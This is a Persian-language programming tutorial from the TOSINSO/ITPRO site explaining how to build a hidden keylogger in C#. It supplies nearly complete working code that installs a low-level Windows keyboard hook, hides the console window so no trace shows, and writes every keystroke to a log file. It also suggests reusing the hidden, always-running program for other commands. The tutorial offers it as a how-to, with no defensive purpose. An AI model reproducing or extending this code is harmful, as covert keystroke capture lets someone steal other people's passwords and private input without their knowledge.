مهدی عادلی فر
بنیانگذار توسینسو و برنامه نویس

آموزش ساخت کیلاگر با سی شارپ : چگونه Keylogger بنویسیم؟

آموزش نوشتن Keylogger در سی شارپ ، چگونه با کد سی شارپ یک کیلاگر بنویسیم؟ در این آموزش قصد داریم که در زبان سی شارپ برنامه ای بنویسیم که در پس زمینه اجرا شود و کلید هایی را که کاربر می زند را ثبت کند. برای این کار باید از API ها و DLL های خود ویندوز استفاده کنیم. این برنامه در حالی که اجرا می شود ولی هیچ نشانه ای از آن وجود ندارد. برای نوشتن این برنامه مراحل زیر را باید طی کنیم.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

ساخت پروژه کیلاگر

ما برای این پروژه از نرم افزار ویژوال استودیو 2015 استفاده خواهیم کرد. برای شروع کار در برنامه ویژوال استودی یک پروژه جدید می سازیم. برای این کار از منوی File گزینه New و سپس project را انتخاب می کنیم و از گزینه های نمایش داده شده از قسمت سمت چپ گزینه Visual C# و از گزینه سمت راست Console Application را انتخاب می نماییم. سپس برای پروژه یک نام در نظر گرفته و در انتها بر روی Ok کلیک کنید. شکل این پنجره مانند عکس زیر است.

وب سایت توسینسو

در این پروژه ما نام پروژه را KeyLogger قرار داده ایم.

اضافه کردن ثابت ها و رفرنس ها

بعد از این که پروژه شما ساخته شد یک کلاس به نام Program برای شما ساخته می شود و به شما نشان داده می شود که شما باید در پنجره ی solution explorer بر روی references کلیک راست کنید و سپس Add reference را انتخاب کرده و از پنجره ی باز شده System.Windows.Forms را انتخاب و به پروژه اضافه کنید. و سپس کدهای زیر را در داخل کلاس بعد از قسمت شروع کلاس بنویسید

private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0X0100;
        private static LowLevelKeyboardProc _proc= HookCallback ;
        private static IntPtr _hookID=IntPtr.Zero;

حال در داخل متد main باید کد زیر نوشته شود.

var handle = GetConsoleWindow();
            ShowWindow(handle, SW_HIDE);
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);

نوشتن کدهای مربوط به دریافت کلید ها

اگر کد هایی را که تا الان گفتیم نوشته باشید می بینید که این کد ها خطا دارند و برنامه هنوز قابل اجرا نیست. نگران این قضیه نباشید زیرا که کار ما هنوز تمام نشده است. در این بخش کد هایی را که قرار است در باره کلید ها عمل کنند را می نویسیم و همه را در انتها توضیح خواهیم داد. حال بعد از متد main دستورات زیر را بنویسید

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr IParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr IParam)
        {
            if (nCode >= 0 && wParam == (IntPtr) WM_KEYDOWN)
            {
                var vkCode = Marshal.ReadInt32(IParam);
                Console.WriteLine(((Keys)vkCode));
                
                var sw=new StreamWriter(Application.StartupPath+@"\log.txt",true);
                sw.WriteLine((Keys)vkCode);
                
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, IParam);
        }
private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }

اضافه کردن dll های ویندوزی برای فراخوانی APIها

حال که کد های مربوط به ثبت کلید ها نوشته شد می بینیم که برنامه هنوز خطا دارد برای رفع این خطاها باید از APIها استفاده کنیم. APIها تابع های سیستمی هستند که در داخل ویندوز وجود دارند و می توانند کارهای سیستمی و حساسی را انجام بدهند. برای مثال ما در این مطلب از APIهایی استفاده می کنیم که با کیبورد در سطح پایین کار می کنند. برای این کار کد های زیر را به برنامه اضافه می کنیم. یعنی بعد از این که متدهای مربوط به توابع را نوشتیم این بخش ها را به بعد از آنها اضافه می کنیم

      [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc Ipfn, IntPtr hMod, uint dwThredId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr IParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetConsoleWindow();
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
        [DllImport("user32.dll")]
        private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        private const int SW_HIDE = 0;

اجرای برنامه

کار تمام شد حالا اگر کد هایی را که گفتیم به همین شکل نوشته باشید و برنامه را اجرا کنید چیزی به شما نشان داده نخواهد شد ولی اگر در پنجره ی solution explorer بر روی نام پروژه کلیک راست کنیم و گزینه Open folder in file explorer را انتخاب کنیم و سپس به پوشه bin و بعد از آن به debug برویم فایلی با نام log.txt وجود خواهد داشت که همه ی کلید های کیبورد که ما از زمان اجرای برنامه زده ایم در آن نشان داده خواهد شد. بدین ترتیب یک ما یک keyLogger ساده با زبان سی شارپ نوشتیم. حال به توضیح برنامه می پردازیم.

توضیح چگونگی کارکرد برنامه

ما وقتی که برنامه را اجرا می کنیم یک هندل از برنامه جاری ما می سازیم و با استفاده از API ای به نام ShowWindow آن را مخفی می کنیم. این API در فایل DLL سیستمی user32.dll که یکی از اصلی ترین فایل های ویندوز است قرار دارد. سپس با استفاده از متد HookCallback کلید هایی را که از کیبورد زده شده است را ثبت می کنیم. حال اگر بخواهیم کاری به جز ثبت کلید ها انجام دهیم باید در داخل همین متدها باشد برای مثال اگر بخواهیم که برنامه ای بنویسیم که یک سری دستور را در آن اجرا کنیم و برنام همیشه در حال اجرا باشد همین برنامه را نوشته و فقط محتویات این متد را با توجه به نیازی که از برنامه خودمان داریم تغییر می دهیم.ITPRO باشید.

نویسنده: مهدی عادلی فر

منبع: Itpro

هرگونه نشر و کپی برداری بدون ذکر منبع و نام نویسنده دارای اشکال اخلاقی می باشد.


مهدی عادلی فر
مهدی عادلی فر

بنیانگذار توسینسو و برنامه نویس

مهدی عادلی، بنیان گذار TOSINSO. کارشناس ارشد نرم افزار کامپیوتر از دانشگاه صنعتی امیرکبیر و #C و جاوا و اندروید کار می کنم. در زمینه های موبایل و وب و ویندوز فعالیت دارم و به طراحی نرم افزار و اصول مهندسی نرم افزار علاقه مندم.

نظرات